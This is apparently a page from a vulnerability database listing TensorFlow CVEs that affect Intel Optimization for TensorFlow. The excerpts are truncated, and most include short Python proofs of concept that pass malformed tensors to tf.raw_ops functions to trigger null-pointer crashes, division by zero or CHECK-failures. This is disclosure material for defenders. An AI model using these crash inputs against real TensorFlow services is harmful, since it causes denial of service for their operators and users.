Intel Optimization For Tensorflow vulnerabilities
429 known vulnerabilities affecting intel/optimization_for_tensorflow.
Total CVEs
429
CISA KEV
0
Public exploits
0
Exploited in wild
0
Severity breakdown
CRITICAL5HIGH121MEDIUM200LOW103
Vulnerabilities
Page 21 of 22
CVE-2021-29516P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29516 [LOW] CWE-476 Null pointer dereference via invalid Ragged Tensors
Null pointer dereference via invalid Ragged Tensors
### Impact
Calling `tf.raw_ops.RaggedTensorToVariant` with arguments specifying an invalid ragged tensor results in a null pointer dereference:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv3D(input=input_tensor, fi
ghsaosv
CVE-2021-29565P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29565 [LOW] CWE-476 Null pointer dereference in `SparseFillEmptyRows`
Null pointer dereference in `SparseFillEmptyRows`
### Impact
An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.SparseFillEmptyRows`:
```python
import tensorflow as tf
indices = tf.constant([], shape=[0, 0], dtype=tf.int64)
values = tf.constant([], shape=[0], dtype=tf.int64)
dense_shape = tf.constant([], shape=[0], dtype=tf.int64)
default_value = 0
tf.raw_ops.SparseFillEmptyRow
ghsaosv
CVE-2021-29528P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29528 [LOW] CWE-369 Division by 0 in `QuantizedMul`
Division by 0 in `QuantizedMul`
### Impact
An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedMul`:
```python
import tensorflow as tf
x = tf.zeros([4, 1], dtype=tf.quint8)
y = tf.constant([], dtype=tf.quint8)
min_x = tf.constant(0.0)
max_x = tf.constant(0.0010000000474974513)
min_y = tf.constant(0.0)
max_y = tf.constant(0.0010000000474974513)
tf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_
ghsaosv
CVE-2021-29564P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29564 [LOW] CWE-476 Null pointer dereference in `EditDistance`
Null pointer dereference in `EditDistance`
### Impact
An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`:
```python
import tensorflow as tf
hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices
ghsaosv
CVE-2021-29572P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29572 [LOW] CWE-476 Reference binding to nullptr in `SdcaOptimizer`
Reference binding to nullptr in `SdcaOptimizer`
### Impact
The implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer:
```python
import tensorflow as tf
sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse
ghsaosv
CVE-2021-29534P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29534 [LOW] CWE-754 CHECK-fail in SparseConcat
CHECK-fail in SparseConcat
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.SparseConcat`:
```python
import tensorflow as tf
import numpy as np
indices_1 = tf.constant([[514, 514], [514, 514]], dtype=tf.int64)
indices_2 = tf.constant([[514, 530], [599, 877]], dtype=tf.int64)
indices = [indices_1, indices_2]
values_1 = tf.zeros([0], dtype=tf.int64)
values_2 = tf.zeros([0], dtype=tf.int64)
values =
ghsaosv
CVE-2021-29556P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29556 [LOW] CWE-369 Division by 0 in `Reverse`
Division by 0 in `Reverse`
### Impact
An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.Reverse`:
```python
import tensorflow as tf
tensor_input = tf.constant([], shape=[0, 1, 1], dtype=tf.int32)
dims = tf.constant([False, True, False], shape=[3], dtype=tf.bool)
tf.raw_ops.Reverse(tensor=tensor_input, dims=dims)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/36229ea
ghsaosv
CVE-2021-29552P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29552 [LOW] CWE-617 CHECK-failure in `UnsortedSegmentJoin`
CHECK-failure in `UnsortedSegmentJoin`
### Impact
An attacker can cause a denial of service by controlling the values of `num_segments` tensor argument for `UnsortedSegmentJoin`:
```python
import tensorflow as tf
inputs = tf.constant([], dtype=tf.string)
segment_ids = tf.constant([], dtype=tf.int32)
num_segments = tf.constant([], dtype=tf.int32)
separator = ''
tf.raw_ops.UnsortedSegmentJoin(
inputs=inputs, segment_ids=segmen
ghsaosv
CVE-2021-29557P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29557 [LOW] CWE-369 Division by 0 in `SparseMatMul`
Division by 0 in `SparseMatMul`
### Impact
An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.SparseMatMul`:
```python
import tensorflow as tf
a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)
b = tf.constant([], shape=[0, 2], dtype=tf.float32)
tf.raw_ops.SparseMatMul(
a=a, b=b, transpose_a=True, transpose_b=True,
a_is_sparse=True, b_is_sparse=True)
```
The division by 0 oc
ghsaosv
CVE-2021-29584P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29584 [LOW] CWE-190 CHECK-fail due to integer overflow
CHECK-fail due to integer overflow
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in caused by an integer overflow in constructing a new tensor shape:
```python
import tensorflow as tf
input_layer = 2**60-1
sparse_data = tf.raw_ops.SparseSplit(
split_dim=1,
indices=[(0, 0), (0, 1), (0, 2),
(4, 3), (5, 0), (5, 1)],
values=[1.0, 1.0, 1.0, 1.0, 1.0, 1.0],
shape=(input_layer, input_layer),
num_split=2,
name
ghsaosv
CVE-2021-29527P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29527 [LOW] CWE-369 Division by 0 in `QuantizedConv2D`
Division by 0 in `QuantizedConv2D`
### Impact
An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedConv2D`:
```python
import tensorflow as tf
input = tf.zeros([1, 1, 1, 1], dtype=tf.quint8)
filter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8)
min_input = tf.constant(0.0)
max_input = tf.constant(0.0001)
min_filter = tf.constant(0.0)
max_filter = tf.constant(0.0001)
strides = [1, 1, 1, 1]
padding = "SAME"
tf.r
ghsaosv
CVE-2021-29524P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29524 [LOW] CWE-369 Division by 0 in `Conv2DBackpropFilter`
Division by 0 in `Conv2DBackpropFilter`
### Impact
An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter
ghsaosv
CVE-2021-29523P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29523 [LOW] CWE-190 CHECK-fail in AddManySparseToTensorsMap
CHECK-fail in AddManySparseToTensorsMap
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.AddManySparseToTensorsMap`:
```python
import tensorflow as tf
import numpy as np
sparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64)
sparse_values = tf.ones([1], dtype=tf.int64)
shape = tf.Variable(tf.ones([55], dtype=tf.int64))
shape[:8].assign(np.array([855, 901, 429, 892, 892, 852,
ghsaosv
CVE-2021-41215P4MEDIUM≥ 2.6.0, < 2.6.1≥ 2.5.0, < 2.5.2+1 more2021-11-10
CVE-2021-41215 [MEDIUM] CWE-476 Null pointer exception in `DeserializeSparse`
Null pointer exception in `DeserializeSparse`
### Impact
The [shape inference code for `DeserializeSparse`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/sparse_ops.cc#L152-L168) can trigger a null pointer dereference:
```python
import tensorflow as tf
dataset = tf.data.Dataset.range(3)
@tf.function
def test():
y = tf.raw_ops.DeserializeSparse(
serialized
ghsaosv
CVE-2021-37689P4HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37689 [HIGH] CWE-476 Null pointer dereference in TFLite MLIR optimizations
Null pointer dereference in TFLite MLIR optimizations
### Impact
An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:
This is caused by the MLIR optimization of `L2NormalizeReduceAxis` operator. The [implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/compiler/mlir/li
ghsaosv
CVE-2021-37688P4HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37688 [HIGH] CWE-476 Null pointer dereference in TFLite
Null pointer dereference in TFLite
### Impact
An attacker can craft a TFLite model that would trigger a null pointer dereference, which would result in a crash and denial of service:
```python
import tensorflow as tf
model = tf.keras.models.Sequential()
model.add(tf.keras.Input(shape=(1, 2, 3)))
model.add(tf.keras.layers.Dense(0, activation='relu'))
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = conv
ghsaosv
CVE-2021-37637P4HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37637 [HIGH] CWE-476 Null pointer dereference in `CompressElement`
Null pointer dereference in `CompressElement`
### Impact
It is possible to trigger a null pointer dereference in TensorFlow by passing an invalid input to `tf.raw_ops.CompressElement`:
```python
import tensorflow as tf
tf.raw_ops.CompressElement(components=[[]])
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/data/compression_utils.cc#L34
ghsaosv
CVE-2021-37647P4HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37647 [HIGH] CWE-476 Null pointer dereference in `SparseTensorSliceDataset`
Null pointer dereference in `SparseTensorSliceDataset`
### Impact
When a user does not supply arguments that determine a valid sparse tensor, `tf.raw_ops.SparseTensorSliceDataset` implementation can be made to dereference a null pointer:
```python
import tensorflow as tf
tf.raw_ops.SparseTensorSliceDataset(
indices=[[],[],[]],
values=[1,2,3],
dense_shape=[3,3])
```
The [implementation](https://github.com/ten
ghsaosv
CVE-2021-37642P4MEDIUM≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37642 [MEDIUM] CWE-369 Division by 0 in `ResourceScatterDiv`
Division by 0 in `ResourceScatterDiv`
### Impact
The implementation of `tf.raw_ops.ResourceScatterDiv` is vulnerable to a division by 0 error:
```python
import tensorflow as tf
v= tf.Variable([1,2,3])
tf.raw_ops.ResourceScatterDiv(
resource=v.handle,
indices=[1],
updates=[0])
```
The [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/resource_vari
ghsaosv
CVE-2021-37636P4MEDIUM≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37636 [MEDIUM] CWE-369 Floating point exception in `SparseDenseCwiseDiv`
Floating point exception in `SparseDenseCwiseDiv`
### Impact
The implementation of `tf.raw_ops.SparseDenseCwiseDiv` is vulnerable to a division by 0 error:
```python
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseDenseCwiseDiv(
sp_indices=np.array([[4]]),
sp_values=np.array([-400]),
sp_shape=np.array([647.]),
dense=np.array([0]))
```
The [implementation](https://github.com/tensorflow/tensorflow/blo
ghsaosv